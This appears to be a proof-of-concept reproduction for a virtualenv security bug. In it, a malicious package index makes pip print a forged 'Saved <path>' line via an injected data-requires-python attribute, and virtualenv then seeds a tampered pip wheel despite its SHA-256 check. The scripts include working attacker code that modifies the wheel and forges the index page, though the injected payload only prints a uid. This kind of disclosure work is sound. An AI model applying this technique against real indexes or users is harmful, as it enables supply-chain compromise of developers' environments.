virtualenv: Downloaded wheel selection and caching precede verification

#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path

companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}"  # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index"  # the line index_serves_modified_pip.py adds to pip/__init__.py


def user_upgrades_seed_wheels_and_creates_env():
    # each case starts from an empty app-data
    shutil.rmtree(app_data, ignore_errors=True)
    shutil.rmtree(home / "env", ignore_errors=True)
    upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
    subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
    pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
    refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
    logged = []
    if update_log_of_pip.exists():  # a failed update writes no log
        logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
    return refusal, logged, pip_version.stdout.splitlines()


# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
    [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
    stdout=subprocess.PIPE,
    stderr=subprocess.DEVNULL,
    text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start"  # printed once bound

# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL  modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL  modified pip: update log of pip lists", logged)
print("CONTROL  modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)

# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)

# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")

"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.

usage: index_forges_saved_line.py <index_dir>

Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""

import shutil
import sys
from pathlib import Path

# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"

index_dir = Path(sys.argv[1])

# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")

# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; &#10; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
    page.write(
        '<a href="/files/pip-100.0-py3-none-any.whl"'
        f' data-requires-python="&#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}&#10;">pip-100.0-py3-none-any.whl</a>\n'
    )

"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.

usage: index_serves_modified_pip.py <index_dir>

pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""

import hashlib
import io
import sys
import zipfile
from pathlib import Path

ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'

index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"

genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
    for entry in genuine.infolist():
        content = genuine.read(entry)
        if entry.filename == "pip/__init__.py":
            content += ADDED_CODE
        modified.writestr(entry, content)

# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
    f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)

"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.

usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>

The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""

import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path

from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256

pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)

for project in ("pip", "setuptools"):
    releases, links = {}, []
    for filename, sha256 in BUNDLE_SHA256.items():
        name, version = filename.split("-")[:2]
        if name != project:
            continue
        shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
        releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
            metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
        requires_python = escape(metadata["Requires-Python"])
        links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
    (pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
    (index_dir / "simple" / project).mkdir(parents=True)
    (index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")

"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.

usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>

Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""

import sys
from pathlib import Path
from unittest import mock

from virtualenv.__main__ import run_with_catch

pypi_dir = Path(sys.argv[1])


def pypi_json_api(url, context):
    assert url.startswith("https://pypi.org/pypi/") and context is None, url
    project = url.split("/")[4]
    return (pypi_dir / f"{project}.json").open("rb")


with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
    run_with_catch(sys.argv[2:])